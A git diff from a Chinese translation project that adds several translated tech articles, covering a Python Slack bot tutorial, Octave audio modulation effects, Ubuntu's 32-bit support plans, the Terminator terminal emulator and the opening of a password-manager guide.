+此外,如果你确实想使用断言来判断函数的返回值是否是真,可能还存在第二个代码异味 - 代码是正确封装了吗?如果 `assertTrue` 和 `assertFalse` 是根据正确的 `if` 语句来执行,那么值得检查下你是否把所有你想要的东西都封装在合适的位置。也许这些 `if` 语句应该封装在测试的函数中。 + +测试开心! + + +-------------------------------------------------------------------------------- + +via: http://jamescooke.info/python-unittest-asserttrue-is-truthy-assertfalse-is-falsy.html + +作者:[James Cooke][a] +译者:[chunyang-wen](https://github.com/chunyang-wen) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://jamescooke.info/pages/hello-my-name-is-james.html +[1]:https://docs.python.org/3/library/unittest.html#unittest.TestCase.assertTrue +[2]:https://developer.mozilla.org/en-US/docs/Glossary/Truthy +[3]:https://docs.python.org/3/library/unittest.html#unittest.TestCase.assertTrue diff --git a/published/201610/20160604 How to Build Your First Slack Bot with Python.md b/published/201610/20160604 How to Build Your First Slack Bot with Python.md new file mode 100755 index 0000000000..8ac40095ad --- /dev/null +++ b/published/201610/20160604 How to Build Your First Slack Bot with Python.md @@ -0,0 +1,317 @@ +如何运用 Python 建立你的第一个 Slack 聊天机器人? +============ + +[聊天机器人(Bot)](https://www.fullstackpython.com/bots.html) 是一种像 [Slack](https://slack.com/) 一样的实用的互动聊天服务方式。如果你之前从来没有建立过聊天机器人,那么这篇文章提供了一个简单的入门指南,告诉你如何用 Python 结合 [Slack API](https://api.slack.com/) 建立你第一个聊天机器人。 + +我们通过搭建你的开发环境, 获得一个 Slack API 的聊天机器人令牌,并用 Pyhon 开发一个简单聊天机器人。 + +### 我们所需的工具 + +我们的聊天机器人我们将它称作为“StarterBot”,它需要 Python 和 Slack API。要运行我们的 Python 代码,我们需要: + +* [Python 2 或者 Python 3](https://www.fullstackpython.com/python-2-or-3.html) +* [pip](https://pip.pypa.io/en/stable/) 和 [virtualenv](https://virtualenv.pypa.io/en/stable/) 来处理 Python [应用程序依赖关系](https://www.fullstackpython.com/application-dependencies.html) +* 一个可以访问 API 的[免费 Slack 账号](https://slack.com/),或者你可以注册一个 [Slack Developer Hangout team](http://dev4slack.xoxco.com/)。 +* 通过 Slack 团队建立的官方 Python [Slack 客户端](https://github.com/slackhq/python-slackclient)代码库 +* [Slack API 测试令牌](https://api.slack.com/tokens) + +当你在本教程中进行构建时,[Slack API 文档](https://api.slack.com/) 是很有用的。 + +本教程中所有的代码都放在 [slack-starterbot](https://github.com/mattmakai/slack-starterbot) 公共库里,并以 MIT 许可证开源。 + +### 搭建我们的环境 + +我们现在已经知道我们的项目需要什么样的工具,因此让我们来搭建我们所的开发环境吧。首先到终端上(或者 Windows 上的命令提示符)并且切换到你想要存储这个项目的目录。在那个目录里,创建一个新的 virtualenv 以便和其他的 Python 项目相隔离我们的应用程序依赖关系。 + +``` +virtualenv starterbot + +``` + +激活 virtualenv: + +``` +source starterbot/bin/activate + +``` + +你的提示符现在应该看起来如截图: + +![已经激活的 starterbot 的 virtualenv的命令提示符](https://www.fullstackpython.com/source/static/img/160604-simple-python-slack-bot/virtualenv-activate.png) + +这个官方的 slack 客户端 API 帮助库是由 Slack 建立的,它可以通过 Slack 通道发送和接收消息。通过这个 `pip` 命令安装 slackclient 库: + +``` +pip install slackclient + +``` + +当 `pip` 命令完成时,你应该看到类似这样的输出,并返回提示符。 + +![在已经激活的 virtualenv 用 pip 安装 slackclient 的输出](https://www.fullstackpython.com/source/static/img/160604-simple-python-slack-bot/pip-install-slackclient.png) + +我们也需要为我们的 Slack 项目获得一个访问令牌,以便我们的聊天机器人可以用它来连接到 Slack API。 + +### Slack 实时消息传递(RTM)API + +Slack 允许程序通过一个 [Web API](https://www.fullstackpython.com/application-programming-interfaces.html) 来访问他们的消息传递通道。去这个 [Slack Web API 页面](https://api.slack.com/) 注册建立你自己的 Slack 项目。你也可以登录一个你拥有管理权限的已有账号。 + +![使用 Web API页面的右上角登录按钮](https://www.fullstackpython.com/source/static/img/160604-simple-python-slack-bot/sign-in-slack.png) + +登录后你会到达 [聊天机器人用户页面](https://api.slack.com/bot-users)。 + +![定制聊天机器人用户页面](https://www.fullstackpython.com/source/static/img/160604-simple-python-slack-bot/custom-bot-users.png) + +给你的聊天机器人起名为“starterbot”然后点击 “Add bot integration” 按钮。 + +![添加一个bot integration 并起名为“starterbot”](https://www.fullstackpython.com/source/static/img/160604-simple-python-slack-bot/starterbot.jpg) + +这个页面将重新加载,你将看到一个新生成的访问令牌。你还可以将标志改成你自己设计的。例如我给的这个“Full Stack Python”标志。 + +![为你的新 Slack 聊天机器人复制和粘贴访问令牌](https://www.fullstackpython.com/source/static/img/160604-simple-python-slack-bot/slack-token.png) + +在页面底部点击“Save Integration”按钮。你的聊天机器人现在已经准备好连接 Slack API。 + +Python 开发人员的一个常见的做法是以环境变量输出秘密令牌。输出的 Slack 令牌名字为`SLACK_BOT_TOKEN`: + +``` +export SLACK_BOT_TOKEN='你的 slack 令牌粘帖在这里' + +``` + +好了,我们现在得到了将这个 Slack API 用作聊天机器人的授权。 + +我们建立聊天机器人还需要更多信息:我们的聊天机器人的 ID。接下来我们将会写一个简短的脚本,从 Slack API 获得该 ID。 + +### 获得我们聊天机器人的 ID + +这是最后写一些 Python 代码的时候了! 我们编写一个简短的 Python 脚本获得 StarterBot 的 ID 来热身一下。这个 ID 基于 Slack 项目而不同。 + +我们需要该 ID,当解析从 Slack RTM 上发给 StarterBot 的消息时,它用于对我们的应用验明正身。我们的脚本也会测试我们 `SLACK_BOT_TOKEN` 环境变量是否设置正确。 + +建立一个命名为 print_bot_id.py 的新文件,并且填入下面的代码: + +``` +import os +from slackclient import SlackClient + + +BOT_NAME = 'starterbot' + +slack_client = SlackClient(os.environ.get('SLACK_BOT_TOKEN')) + + +if __name__ == "__main__": + api_call = slack_client.api_call("users.list") + if api_call.get('ok'): + # retrieve all users so we can find our bot + users = api_call.get('members') + for user in users: + if 'name' in user and user.get('name') == BOT_NAME: + print("Bot ID for '" + user['name'] + "' is " + user.get('id')) + else: + print("could not find bot user with the name " + BOT_NAME) + +``` + +我们的代码导入 SlackClient,并用我们设置的环境变量 `SLACK_BOT_TOKEN` 实例化它。 当该脚本通过 python 命令执行时,我们通过会访问 Slack API 列出所有的 Slack 用户并且获得匹配一个名字为“satrterbot”的 ID。 + +这个获得聊天机器人的 ID 的脚本我们仅需要运行一次。 + +``` +python print_bot_id.py + +``` + +当它运行为我们提供了聊天机器人的 ID 时,脚本会打印出简单的一行输出。 + +![在你的 Slack 项目中用 Python 脚本打印 Slack 聊天机器人的 ID](https://www.fullstackpython.com/source/static/img/160604-simple-python-slack-bot/printed-bot-id.png) + +复制这个脚本打印出的唯一 ID。并将该 ID 作为一个环境变量 `BOT_ID` 输出。 + +``` +(starterbot)$ export BOT_ID='bot id returned by script' + +``` + +这个脚本仅仅需要运行一次来获得聊天机器人的 ID。 我们现在可以在我们的运行 StarterBot 的 Python应用程序中使用这个 ID 。 + +### 编码我们的 StarterBot + +现在我们拥有了写我们的 StarterBot 代码所需的一切。 创建一个新文件命名为 starterbot.py ,它包括以下代码。 + +``` +import os +import time +from slackclient import SlackClient + +``` + +对 `os` 和 `SlackClient` 的导入我们看起来很熟悉,因为我们已经在 theprint_bot_id.py 中用过它们了。 + +通过我们导入的依赖包,我们可以使用它们获得环境变量值,并实例化 Slack 客户端。 + +``` +# starterbot 的 ID 作为一个环境变量 +BOT_ID = os.environ.get("BOT_ID") + +# 常量 +AT_BOT = "<@" + BOT_ID + ">:" +EXAMPLE_COMMAND = "do" + +# 实例化 Slack 和 Twilio 客户端 +slack_client = SlackClient(os.environ.get('SLACK_BOT_TOKEN')) + +``` + +该代码通过我们以输出的环境变量 `SLACK_BOT_TOKEN 实例化 `SlackClient` 客户端。 + +``` +if __name__ == "__main__": + READ_WEBSOCKET_DELAY = 1 # 1 从 firehose 读取延迟 1 秒 + if slack_client.rtm_connect(): + print("StarterBot connected and running!") + while True: + command, channel = parse_slack_output(slack_client.rtm_read()) + if command and channel: + handle_command(command, channel) + time.sleep(READ_WEBSOCKET_DELAY) + else: + print("Connection failed. Invalid Slack token or bot ID?") + +``` + +Slack 客户端会连接到 Slack RTM API WebSocket,然后当解析来自 firehose 的消息时会不断循环。如果有任何发给 StarterBot 的消息,那么一个被称作 `handle_command` 的函数会决定做什么。 + +接下来添加两个函数来解析 Slack 的输出并处理命令。 + +``` +def handle_command(command, channel): + """ + Receives commands directed at the bot and determines if they + are valid commands. If so, then acts on the commands. If not, + returns back what it needs for clarification. + """ + response = "Not sure what you mean. Use the *" + EXAMPLE_COMMAND + \ + "* command with numbers, delimited by spaces." + if command.startswith(EXAMPLE_COMMAND): + response = "Sure...write some more code then I can do that!" + slack_client.api_call("chat.postMessage", channel=channel, + text=response, as_user=True) + +def parse_slack_output(slack_rtm_output): + """ + The Slack Real Time Messaging API is an events firehose. + this parsing function returns None unless a message is + directed at the Bot, based on its ID. + """ + output_list = slack_rtm_output + if output_list and len(output_list) > 0: + for output in output_list: + if output and 'text' in output and AT_BOT in output['text']: + # 返回 @ 之后的文本,删除空格 + return output['text'].split(AT_BOT)[1].strip().lower(), \ + output['channel'] + return None, None + +``` + +`parse_slack_output` 函数从 Slack 接受信息,并且如果它们是发给我们的 StarterBot 时会作出判断。消息以一个给我们的聊天机器人 ID 的直接命令开始,然后交由我们的代码处理。目前只是通过 Slack 管道发布一个消息回去告诉用户去多写一些 Python 代码! + +这是整个程序组合在一起的样子 (你也可以 [在 GitHub 中查看该文件](https://github.com/mattmakai/slack-starterbot/blob/master/starterbot.py)): + +``` +import os +import time +from slackclient import SlackClient + +# starterbot 的 ID 作为一个环境变量 +BOT_ID = os.environ.get("BOT_ID") + +# 常量 +AT_BOT = "<@" + BOT_ID + ">:" +EXAMPLE_COMMAND = "do" + +# 实例化 Slack 和 Twilio 客户端 +slack_client = SlackClient(os.environ.get('SLACK_BOT_TOKEN')) + +def handle_command(command, channel): + """ + Receives commands directed at the bot and determines if they + are valid commands. If so, then acts on the commands. If not, + returns back what it needs for clarification. + """ + response = "Not sure what you mean. Use the *" + EXAMPLE_COMMAND + \ + "* command with numbers, delimited by spaces." + if command.startswith(EXAMPLE_COMMAND): + response = "Sure...write some more code then I can do that!" + slack_client.api_call("chat.postMessage", channel=channel, + text=response, as_user=True) + +def parse_slack_output(slack_rtm_output): + """ + The Slack Real Time Messaging API is an events firehose. + this parsing function returns None unless a message is + directed at the Bot, based on its ID. + """ + output_list = slack_rtm_output + if output_list and len(output_list) > 0: + for output in output_list: + if output and 'text' in output and AT_BOT in output['text']: + # 返回 @ 之后的文本,删除空格 + return output['text'].split(AT_BOT)[1].strip().lower(), \ + output['channel'] + return None, None + +if __name__ == "__main__": + READ_WEBSOCKET_DELAY = 1 # 1 second delay between reading from firehose + if slack_client.rtm_connect(): + print("StarterBot connected and running!") + while True: + command, channel = parse_slack_output(slack_client.rtm_read()) + if command and channel: + handle_command(command, channel) + time.sleep(READ_WEBSOCKET_DELAY) + else: + print("Connection failed. Invalid Slack token or bot ID?") + +``` + +现在我们的代码已经有了,我们可以通过 `python starterbot.py` 来运行我们 StarterBot 的代码了。 + +![当 StarterBot 开始运行而且连接到 API 的输出通道](https://www.fullstackpython.com/source/static/img/160604-simple-python-slack-bot/starterbot-running.png) + +在 Slack 中创建新通道,并且把 StarterBot 邀请进来,或者把 StarterBot 邀请进一个已经存在的通道中。 + +![在 Slack 界面创建一个新通道并且邀请 StarterBot](https://www.fullstackpython.com/source/static/img/160604-simple-python-slack-bot/create-channel.png) + +现在在你的通道中给 StarterBot 发命令。 + +![在你的 Slack 通道里给你的 StarterBot 发命令](https://www.fullstackpython.com/source/static/img/160604-simple-python-slack-bot/working-starterbot.png) + +如果你从聊天机器人得到的响应中遇见问题,你可能需要做一个修改。正如上面所写的这个教程,其中一行 `AT_BOT = "<@" + BOT_ID + ">:"`,在“@starter”(你给你自己的聊天机器人起的名字)后需要一个冒号。从`AT_BOT` 字符串后面移除`:`。Slack 似乎需要在 `@` 一个人名后加一个冒号,但这好像是有些不协调的。 + +### 结束 + +好吧,你现在已经获得一个简易的聊天机器人,你可以在代码中很多地方加入你想要创建的任何特性。 + +我们能够使用 Slack RTM API 和 Python 完成很多功能。看看通过这些文章你还可以学习到什么: + +* 附加一个持久的[关系数据库](https://www.fullstackpython.com/databases.html) 或者 [NoSQL 后端](https://www.fullstackpython.com/no-sql-datastore.html) 比如 [PostgreSQL](https://www.fullstackpython.com/postgresql.html)、[MySQL](https://www.fullstackpython.com/mysql.html) 或者 [SQLite](https://www.fullstackpython.com/sqlite.html) ,来保存和检索用户数据 +* 添加另外一个与聊天机器人互动的通道,比如 [短信](https://www.twilio.com/blog/2016/05/build-sms-slack-bot-python.html) 或者[电话呼叫](https://www.twilio.com/blog/2016/05/add-phone-calling-slack-python.html) +* [集成其它的 web API](https://www.fullstackpython.com/api-integration.html),比如 [GitHub](https://developer.github.com/v3/)、[Twilio](https://www.twilio.com/docs) 或者 [api.ai](https://docs.api.ai/) + +有问题? 通过 Twitter 联系我 [@fullstackpython](https://twitter.com/fullstackpython) 或 [@mattmakai](https://twitter.com/mattmakai)。 我在 GitHub 上的用户名是 [mattmakai](https://github.com/mattmakai)。 + +这篇文章感兴趣? Fork 这个 [GitHub 上的页面](https://github.com/mattmakai/fullstackpython.com/blob/gh-pages/source/content/posts/160604-build-first-slack-bot-python.markdown)吧。 + +-------------------------------------------------------------------------------- +via: https://www.fullstackpython.com/blog/build-first-slack-bot-python.html + +作者:[Matt Makai][a] +译者:[jiajia9llinuxer](https://github.com/jiajia9linuxer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出aa + +[a]: https://www.fullstackpython.com/about-author.html diff --git a/published/201610/20160622 Part III - How to apply Advanced Mathematical Processing Effects on Audio files with Octave 4.0 on Ubuntu.md b/published/201610/20160622 Part III - How to apply Advanced Mathematical Processing Effects on Audio files with Octave 4.0 on Ubuntu.md new file mode 100644 index 0000000000..81d89dabfd --- /dev/null +++ b/published/201610/20160622 Part III - How to apply Advanced Mathematical Processing Effects on Audio files with Octave 4.0 on Ubuntu.md @@ -0,0 +1,133 @@ +科学音频处理(三):如何使用 Octave 的高级数学技术处理音频文件 +===== + +我们的数字音频处理技术第三部分涵盖了信号调制内容,将解释如何进行调幅(Amplitude Modulation)、颤音效果(Tremolo Effect)和频率变化(Frequency Variation)。 + +### 调制 + +#### 调幅 + +正如它的名字暗示的那样, 影响正弦信号的振幅变化依据传递的信息而不断改变。正弦波因为承载着大量的信息被称作载波(carrier)。这种调制技术被用于许多的商业广播和市民信息传输波段(AM)。 + +#### 为何要使用调幅技术? + +**调制发射** + +假设信道是免费资源,有天线就可以发射和接收信号。这要求有效的电磁信号发射天线,它的大小和要被发射的信号的波长应该是同一数量级。很多信号,包括音频成分,通常在 100 赫兹或更低。对于这些信号,如果直接发射,我们就需要建立长达 300 公里的天线。如果通过信号调制将信息加载到 100MHz 的高频载波中,那么天线仅仅需要 1 米(横向长度)。 + +**集中调制与多通道** + +假设多个信号占用一个通道,调制可以将不同的信号不同频域位置,以便接收者选择该特定信号。使用集中调制(“复用”)的应用有遥感探测数据、立体声调频收音机和长途电话等。 + +**克服设备限制的调制** + +信号处理设备,比如过滤器、放大器,以及可以用它们简单组成的设备,它们的性能依赖于信号在频域中的境况以及高频率和低频信号的关系。调制可以用于传递信号到频域中的更容易满足设计需求的位置。调制也可以将“宽带信号“(高频和低频的比例很大的信号)转换成”窄带“信号。 + +**音频特效** + +许多音频特效由于引人注目和处理信号的便捷性使用了调幅技术。我们可以说出很多,比如颤音、合唱、镶边等等。这种实用性就是我们关注它的原因。 + +### 颤音效果 + +颤音效果是调幅最简单的应用,为实现这样的效果,我们会用周期信号改变(乘)音频信号,使用正弦或其他。 + +``` +>> tremolo='tremolo.ogg'; +>> fs=44100; +>> t=0:1/fs:10; +>> wo=2*pi*440*t; +>> wa=2*pi*1.2*t; +>> audiowrite(tremolo, cos(wa).*cos(wo),fs); +``` + +![Tremolo](https://www.howtoforge.com/images/ubuntu-octave-audio-processing-part-3/big/tremolo.png) + +这将创造一个正弦形状的信号,它的效果就像‘颤音’。 + +![Tremolo Shape](https://www.howtoforge.com/images/ubuntu-octave-audio-processing-part-3/big/tremoloshape.png) + +### 在真实音频文件中的颤音 + +现在我们将展示真实世界中的颤音效果。首先,我们使用之前记录过男性发声 ‘A’ 的音频文件。这个信号图就像下面这样: + +``` +>> [y,fs]=audioread('A.ogg'); +>> plot(y); +``` + +![Vocal](https://www.howtoforge.com/images/ubuntu-octave-audio-processing-part-3/big/avocalmale.png) + +现在我们将创建一个完整的正弦信号,使用如下的参数: + +- 增幅 = 1 +- 频率= 1.5Hz +- 相位 = 0 + +``` +>> t=0:1/fs:4.99999999; +>> t=t(:); +>> w=2*pi*1.5*t; +>> q=cos(w); +>> plot(q); +``` + +注意: 当我们创建一组时间值时,默认情况下,它是以列的格式呈现,如, 1x220500 的值。为了乘以这样的值,必须将其变成行的形式(220500x1)。这就是 `t=t(:)` 命令的作用。 + +![Sinusodial](https://www.howtoforge.com/images/ubuntu-octave-audio-processing-part-3/big/sinusoidal.png) + +我们将创建第二份 ogg 音频格式的文件,它包含了如下的调制信号: + +``` +>> tremolo='tremolo.ogg'; +>> audiowrite(tremolo, q.*y,fs); +``` + +![](https://www.howtoforge.com/images/ubuntu-octave-audio-processing-part-3/big/tremsignal1.png) + +![Tremolo Signal](https://www.howtoforge.com/images/ubuntu-octave-audio-processing-part-3/big/tremolsignal1.png) + +### 频率变化 + +我们可以改变频率实现一些有趣的音效,比如原音变形,电影音效,多人比赛。 + +#### 正弦频率调制的影响 + +这是正弦调制频率变化的演示代码,根据方程: + +``` +Y=Ac*Cos(wo*Cos(wo/k)) +``` + +这里: + +- Ac = 增幅 +- wo = 基频 +- k = 标量除数 + +``` +>> fm='fm.ogg'; +>> fs=44100; +>> t=0:1/fs:10; +>> w=2*pi*442*t; +>> audiowrite(fm, cos(cos(w/1500).*w), fs); +>> [y,fs]=audioread('fm.ogg'); +>> figure (); plot (y); +``` + +信号图: + +![](https://www.howtoforge.com/images/ubuntu-octave-audio-processing-part-3/big/fmod.png) + +你可以使用几乎任何类型的周期函数频率调制。本例中,我们仅仅用了一个正弦函数。请大胆的改变函数频率,用复合函数,甚至改变函数的类型。 + +-------------------------------------------------------------------------------- + +via: https://www.howtoforge.com/tutorial/ubuntu-octave-audio-processing-part-3/ + +作者:[David Duarte][a] +译者:[theArcticOcean](https://github.com/theArcticOcean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.howtoforge.com/tutorial/ubuntu-octave-audio-processing-part-3/ diff --git a/published/201610/20160701 CANONICAL CONSIDERING TO DROP 32 BIT SUPPORT IN UBUNTU.md b/published/201610/20160701 CANONICAL CONSIDERING TO DROP 32 BIT SUPPORT IN UBUNTU.md new file mode 100644 index 0000000000..2e2b93d166 --- /dev/null +++ b/published/201610/20160701 CANONICAL CONSIDERING TO DROP 32 BIT SUPPORT IN UBUNTU.md @@ -0,0 +1,41 @@ +Canonical 正考虑移除 Ubuntu 的 32 位支持 +======================================================== + +![](https://itsfoss.com/wp-content/uploads/2016/06/Ubuntu-32-bit-goes-for-a-toss-.jpg) + +之前,[Dimitri John Ledkov][1] 在 [Ubuntu 邮件列表][2] 发送了一则消息,称将在 Ubuntu 18.10 中取消 32 位支持。他说越来越多的软件已经有了 64 位支持,而且为古老的 32 位架构提供安全支持将变得更加困难。 + +Ledkov 同时表示,构建 32 位镜像并不是没有成本的,而要耗费 Canonical 不少的资源。 + +> 构建 32 位镜像并不是“免费的”,它的代价就是占用了我们的构建服务器资源、QA 和校验时间。尽管我我们有可扩展的构建环境,但 32 位支持还需要为所有包进行构建和自动测试,而且 ISO 也需要在我们的各种架构上进行测试。同时这还会占据大量的镜像空间和带宽。 + +Ledkov 计划着,Ubuntu 16.10、17.04、17.10 还会继续提供 32 位内核、网络安装器和云镜像,但移除桌面版和服务器版的 32 位 ISO 镜像。18.04 LTS 将会移除 32 位内核、网络安装器和云镜像,但在 64 位架构中兼容运行 32 位程序。然后在 18.10 中结束 32 位支持,并将传统的 32 位应用放在 snap、容器和虚拟机中。 + +但是,Ledkov 的这份计划还未被大家接受,但它表明了 32 位支持迟早要被遗弃。(LCTT 译注:我们已经知道 16.10 依旧有 32 为支持。) + +### 好消息 + +当然,使用 32 位系统的用户也不必伤心。这个并不会影响用于拯救老式电脑的发行版。[Ubuntu MATE][4] 的创建者 [Martin Wimpress][3] 在 Googl+ 的讨论中透露,这些改变这是影响着主线上的 Ubuntu 而已。 + +>18.04 将继续存在 32 位架构支持,分支版本可以继续选择构建 32 位镜像。但还是会存在安全隐患,一些大型应用,如 Firefox、Chromium、LibreOffice,已经凸显了在一些旧版的 LTS 的更新安全问题。所以,这些分支版本需要注意其 32 位支持期限。 + +### 思考 + +从安全的角度,我可以理解他们为什么要移除 32 位支持,但是这可能会导致一部分人离开主线 Ubuntu 而投入另一个喜爱的发行版或者另一种架构的怀抱。值得庆幸的是,我们还可以选择 [轻量级 Linux 发行版][5]。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/ubuntu-32-bit-support-drop/ + +作者:[John Paul][a] +译者:[GHLandy](https://github.com/GHLandy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/john/ +[1]: https://plus.google.com/+DimitriJohnLedkov +[2]: https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2016-June/016661.html +[3]: https://twitter.com/m_wimpress +[4]: http://ubuntu-mate.org/ +[5]: https://itsfoss.com/lightweight-linux-beginners/ diff --git a/published/201610/20160724 Terminator A Linux Terminal Emulator With Multiple Terminals In One Window.md b/published/201610/20160724 Terminator A Linux Terminal Emulator With Multiple Terminals In One Window.md new file mode 100755 index 0000000000..294f38b43e --- /dev/null +++ b/published/201610/20160724 Terminator A Linux Terminal Emulator With Multiple Terminals In One Window.md @@ -0,0 +1,84 @@ +Terminator:一款一个窗口包含多个终端的 Linux 终端仿真器 +============================================================================= + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/lots-of-terminals-in-terminator_1.jpg?659) + +为了通过命令行和系统互动,每一款 Linux 发行版都有一款默认的终端仿真器。但是,默认的终端应用可能不适合你。为了大幅提升你工作的速度,有好多款终端应用提供了更多的功能,可以同时执行更多的任务。这些有用的终端仿真器就包括 Terminator,这是一款 Linux 系统下支持多窗口的自由开源的终端仿真器。 + +### 什么是 Linux 终端仿真器 + +Linux 终端仿真器是一个让你和 shell 交互的程序。所有的 Linux 发行版都会自带一款 Linux 终端应用让你向 shell 传递命令。 + +### Terminator,一款自由开源的 Linux 终端应用 + +Terminator 是一款 Linux 终端模拟器,提供了你的默认的终端应用不支持的多个特性。它提供了在一个窗口创建多个终端的功能,以加快你的工作速度。除了多窗口外,它也允许你修改其它特性,例如字体、字体颜色、背景色等等。让我们看看我们如何安装它,并且如何在不同的 Linux 发行版下使用 Terminator。 + +### 如何在 Linux 下安装 Terminator? + +#### 在基于 Ubuntu 的发行版上安装 Terminator + +Terminator 在默认的 Ubuntu 仓库就可以使用。所以你不需要添加额外的 PPA。只需要使用 APT 或者“软件应用”在 Ubuntu 下直接安装。 + +``` +sudo apt-get install terminator +``` + +假如你的默认的仓库中 Terminator 不可用,只需要使用源码编译 Terminator 即可。 + +- [下载源码][1] + +下载 Terminator 源码并且解压到你的桌面。现在打开你的默认的终端,然后 `cd` 到解压的目录。 + +现在就可以使用下面的命令来安装 Terminator 了: + +``` +sudo ./setup.py install +``` + +#### 在 Fedora 及衍生的操作系统上安装 Terminator + +``` +dnf install terminator +``` + +#### 在 OpenSuse 上安装 Terminator + +参见此文:[在 OPENSUSE 上安装][2]。 + +### 如何在一个窗口使用多个终端? + +安装好 Terminator 之后,你可以简单的在一个窗口打开多个终端。只需要右键点击并切分。 + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/multiple-terminals-in-terminator_orig.jpg) + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/multiple-terminals-in-terminator-emulator.jpg?697) + +只要你愿意,你可以创建尽可能多的终端,只要你能管理得过来。 + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/lots-of-terminals-in-terminator.jpg?706) + +### 定制终端 + +右键点击终端,并单击属性。现在你可以定制字体、字体颜色、标题颜色和背景,还有终端字体颜色和背景。 + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/customize-terminator-interface.jpg?702) + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/free-terminal-emulator_orig.jpg) + +### 结论:什么是你最喜欢的终端模拟器 + +Terminator 是一款先进的终端模拟器,它可以让你自定义界面。如果你还没有从你默认的终端模拟器中切换过来的话,你可以尝试一下它。我知道你将会喜欢上它。如果你正在使用其他的自由开源的终端模拟器的话,请让我们知道你最喜欢的那一款。不要忘了和你的朋友分享这篇文章。或许你的朋友正在寻找类似的东西。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxandubuntu.com/home/terminator-a-linux-terminal-emulator-with-multiple-terminals-in-one-window + +作者:[author][a] +译者:[yangmingming](https://github.com/yangmingming) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.linuxandubuntu.com/home/terminator-a-linux-terminal-emulator-with-multiple-terminals-in-one-window +[1]: https://launchpad.net/terminator/+download +[2]: http://software.opensuse.org/download.html?project=home%3AKorbi123&package=terminator diff --git a/published/201610/20160729 Best Password Manager all platform.md b/published/201610/20160729 Best Password Manager all platform.md new file mode 100644 index 0000000000..daf55cceb7 --- /dev/null +++ b/published/201610/20160729 Best Password Manager all platform.md @@ -0,0 +1,459 @@ +全平台最佳密码管理工具大全:支持 Windows、Linux、Mac、Android、iOS 以及企业应用 +=============== + +![](https://4.bp.blogspot.com/-uMOdpnxBV9w/V5x4YW54SbI/AAAAAAAAo_E/o-gUmO46UB0Ji2IMzd_xdY5pVsCcJnFwQCLcB/s1600/free-best-password-manager-2016.png) + +当谈到你的网络安全的防护时,从各种网络威胁的角度来看,仅安装一个防病毒软件或运行一个[安全的 Linux 操作系统][1],并不意味你就是足够安全的。 + +今天大多数网络用户都容易受到网络攻击,并不是因为他们没有使用最好的防病毒软件或其他安全措施,而是因为他们使用了[弱密码][2]来保护他们自己的网上帐号。 + +密码是你抵御网络威胁的最后一道防线。只要回顾一下最近的一些数据泄露和网络攻击,包括大众关注的 [OPM(美国联邦人事管理局)][3]和婚外情网站 [Ashley Madison][4] 的数据泄露,都导致成千上万的记录的网上曝光。 + +虽然你不能控制数据泄露,但创建强壮的、可以抵御字典和[暴力破解][5]的密码仍然是重要的。 + +你知道,你的密码越长,它越难破解。 + +### 如何保证在线服务的安全? + +安全研究人员喋喋不休地劝说在线用户为他们的各种网上账户创建长的、复杂和各异的密码。这样,如果一个网站被攻破,你在其他网站上的帐户是安全的,不会被黑客攻击。 + +理想的情况下,你的密码必须至少16个字符长,应该包含数字、符号、大写字母和小写字母,而最重要的是,甚至你都不知道的密码才是最安全的密码。 + +密码应该不重复,而且不包含任何字典中的词汇、代词,你的用户名或 ID 号,以及任何其它预定义的字母或数字序列。 + +我知道记住这样的复杂的密码字符串是一个实在痛苦的过程,除非我们是一个人型超级计算机,为不同的在线账户记住不同的密码并不是一个轻松的任务。 + +问题是,现在人们注册了大量的在线网站和服务,为每一个帐户创建和记住不同的密码通常是很难的。 + +不过,幸运的是,我们可以让这个事情变得很轻松,不断涌现的面向桌面计算机和智能电话的口令管理器可以显著地降低你密码记忆难度,从而治愈你设置弱密码的坏毛病。 + +### 密码管理器是什么? + +![](https://1.bp.blogspot.com/-LY7pI45tMq0/V5r_XV083RI/AAAAAAAAo6M/MivILg0_4Vs7UgLKZJqM5vhvYujQCCcpgCLcB/s1600/best-password-manager-software.png) + +在过去的几年里,密码管理软件已经取得了长足的进展,它是一个很好的系统,不但可以让你为不同的网站创建复杂的密码,而且能让你记住它们。 + +密码管理器是一个为你的个人电脑、网站,应用程序和网络创建、存储和整理密码的软件。 + +密码管理器可以生成密码,也可以作为表单填充器,它可以自动在网站的登录表单中输入你的用户名和密码。 + +所以,如果你想为你的多个在线帐户设置超级安全的密码,但你又不想全部记住它们,密码管理器是你最好的选择。 + +### 密码管理器如何工作? + +通常,密码管理器可以为您生成冗长、复杂,而且更重要的是唯一的密码字符串,然后以加密形式存储它们,以保护该机密数据免受黑客对您的 PC 或移动设备的物理访问。 + +加密的文件只能通过“主密码”访问。因此,所有你需要做的只是记住一个“主密码”,用来打开你的密码管理器或保险库,从而解锁你所有的其他密码。 + +然而,你需要确保你的主密码是超级安全的,至少 16 个字符。 + +### 哪个是最好的密码管理器?如何选择? + +我一直在推荐密码管理器,但大多数读者总是问: + +- 哪个密码管理器最好? +- 哪个密码管理器最安全?帮帮我! + +所以,今天我要介绍给你一些最好的密码管理器,它们可在 Windows、Mac、Linux、Android、iOS 和企业中使用。 + +在为你的设备选择一个好的密码管理器之前,你应该检查以下功能: + +- 跨平台应用 +- 零知识模型 +- 提供双因素认证(或者多因素身份验证) + +注意:一旦采用,就要按照密码管理器的方式来用,因为如果你仍然为你的重要在线帐户使用弱密码的话,没有人可以从恶意黑客那里拯救你。 